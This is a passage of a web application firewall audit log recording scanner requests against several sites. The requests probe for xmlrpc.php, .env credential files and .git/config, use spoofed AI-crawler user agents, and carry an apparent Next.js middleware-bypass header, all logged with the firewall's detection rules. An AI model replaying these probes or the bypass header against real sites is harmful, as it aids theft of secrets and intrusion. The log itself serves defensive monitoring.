User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
--530d0363-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--530d0363-H--
Message: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/xmlrpc.php"] [unique_id "aqaf62M7dE9KgIIOpQh-lgAAAMI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/xmlrpc.php"] [unique_id "aqaf62M7dE9KgIIOpQh-lgAAAMI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789304811902018 68082 (- - -)
Stopwatch2: 1789304811902018 68082; combined=4755, p1=898, p2=3789, p3=0, p4=0, p5=68, sr=106, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--530d0363-Z--
--0086083b-A--
[13/Sep/2026:16:17:02.466011 +0300] aqaiTkwu1RSkptiiNIX@FQAAAJc 207.175.1.230 51932 127.0.0.1 7081
--0086083b-B--
GET //xmlrpc.php?rsd HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 207.175.1.230
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
--0086083b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--0086083b-E--
--0086083b-H--
Message: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/xmlrpc.php"] [unique_id "aqaiTkwu1RSkptiiNIX@FQAAAJc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/xmlrpc.php"] [unique_id "aqaiTkwu1RSkptiiNIX@FQAAAJc"]
Apache-Error: [file "mod_proxy_fcgi.c"] [line 902] [level 3] AH01071: Got error 'Primary script unknown'
Apache-Handler: proxy:unix:/var/www/vhosts/system/breveleyendatequila.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305422411131 54947 (- - -)
Stopwatch2: 1789305422411131 54947; combined=11177, p1=501, p2=10444, p3=133, p4=15, p5=84, sr=144, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0086083b-Z--
--907a7a7e-A--
[13/Sep/2026:16:26:11.061090 +0300] aqakcjTJ6xTvcJoem7f94gAAAFY 34.73.17.152 54954 127.0.0.1 7081
--907a7a7e-B--
POST /graphql HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
Origin: https://alexandervodka.com
Referer: https://alexandervodka.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
--907a7a7e-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--907a7a7e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305970991857 69310 (- - -)
Stopwatch2: 1789305970991857 69310; combined=5923, p1=304, p2=5298, p3=0, p4=0, p5=321, sr=140, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--907a7a7e-Z--
--7cee4b0d-A--
[13/Sep/2026:16:26:11.128156 +0300] aqakcmM7dE9KgIIOpQiAZQAAAM8 34.73.17.152 54916 127.0.0.1 7081
--7cee4b0d-B--
GET /api/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--7cee4b0d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--7cee4b0d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/api/.env"] [unique_id "aqakcmM7dE9KgIIOpQiAZQAAAM8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305970946848 181366 (- - -)
Stopwatch2: 1789305970946848 181366; combined=6808, p1=235, p2=6516, p3=0, p4=0, p5=56, sr=98, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7cee4b0d-Z--
--a06cae75-A--
[13/Sep/2026:16:26:11.194097 +0300] aqakc2M7dE9KgIIOpQiAaAAAANc 34.73.17.152 54974 127.0.0.1 7081
--a06cae75-B--
GET /.env.local HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--a06cae75-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a06cae75-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqakc2M7dE9KgIIOpQiAaAAAANc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqakc2M7dE9KgIIOpQiAaAAAANc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305971091317 102893 (- - -)
Stopwatch2: 1789305971091317 102893; combined=34984, p1=292, p2=34607, p3=0, p4=0, p5=83, sr=100, sw=2, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a06cae75-Z--
--5bdfe957-A--
[13/Sep/2026:16:26:11.214546 +0300] aqakc2M7dE9KgIIOpQiAaQAAANE 34.73.17.152 54976 127.0.0.1 7081
--5bdfe957-B--
GET /admin/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--5bdfe957-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--5bdfe957-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/admin/.env"] [unique_id "aqakc2M7dE9KgIIOpQiAaQAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305971137788 76871 (- - -)
Stopwatch2: 1789305971137788 76871; combined=5509, p1=273, p2=5162, p3=0, p4=0, p5=73, sr=105, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5bdfe957-Z--
--94f8361f-A--
[13/Sep/2026:16:26:11.271692 +0300] aqakc0wu1RSkptiiNIX@MgAAAJE 34.73.17.152 54978 127.0.0.1 7081
--94f8361f-B--
POST /api/graphql HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
Origin: https://alexandervodka.com
Referer: https://alexandervodka.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
--94f8361f-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--94f8361f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305971203859 67909 (- - -)
Stopwatch2: 1789305971203859 67909; combined=5774, p1=355, p2=5075, p3=0, p4=0, p5=344, sr=171, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--94f8361f-Z--
--7efa7f41-A--
[13/Sep/2026:16:26:11.319750 +0300] aqakc2M7dE9KgIIOpQiAagAAANY 34.73.17.152 54984 127.0.0.1 7081
--7efa7f41-B--
GET /backend/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--7efa7f41-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--7efa7f41-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/backend/.env"] [unique_id "aqakc2M7dE9KgIIOpQiAagAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305971226491 93317 (- - -)
Stopwatch2: 1789305971226491 93317; combined=11747, p1=362, p2=11320, p3=0, p4=0, p5=65, sr=138, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7efa7f41-Z--
--b20a2f58-A--
[13/Sep/2026:16:26:11.569260 +0300] aqakc0wu1RSkptiiNIX@NAAAAIA 34.73.17.152 55054 127.0.0.1 7081
--b20a2f58-B--
GET /.git/HEAD HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--b20a2f58-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b20a2f58-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/HEAD"] [unique_id "aqakc0wu1RSkptiiNIX@NAAAAIA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305971486427 82903 (- - -)
Stopwatch2: 1789305971486427 82903; combined=5220, p1=294, p2=4868, p3=0, p4=0, p5=58, sr=139, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b20a2f58-Z--
--07cfee23-A--
[13/Sep/2026:16:26:11.670964 +0300] aqakc2M7dE9KgIIOpQiAbgAAANQ 34.73.17.152 55014 127.0.0.1 7081
--07cfee23-B--
GET /config/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--07cfee23-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--07cfee23-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/config/.env"] [unique_id "aqakc2M7dE9KgIIOpQiAbgAAANQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305971358958 312061 (- - -)
Stopwatch2: 1789305971358958 312061; combined=4894, p1=210, p2=4643, p3=0, p4=0, p5=40, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--07cfee23-Z--
--05535361-A--
[13/Sep/2026:16:26:11.695796 +0300] aqakc2M7dE9KgIIOpQiAbQAAANg 34.73.17.152 55004 127.0.0.1 7081
--05535361-B--
GET /.git/config HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--05535361-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--05535361-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqakc2M7dE9KgIIOpQiAbQAAANg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqakc2M7dE9KgIIOpQiAbQAAANg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqakc2M7dE9KgIIOpQiAbQAAANg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305971352063 343806 (- - -)
Stopwatch2: 1789305971352063 343806; combined=48539, p1=219, p2=48238, p3=0, p4=0, p5=82, sr=86, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--05535361-Z--
--79e50e14-A--
[13/Sep/2026:16:26:11.706691 +0300] aqakcysVWymXUono-eRXSgAAAAU 34.73.17.152 55038 127.0.0.1 7081
--79e50e14-B--
POST /v1/graphql HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
Origin: https://alexandervodka.com
Referer: https://alexandervodka.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
--79e50e14-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--79e50e14-H--
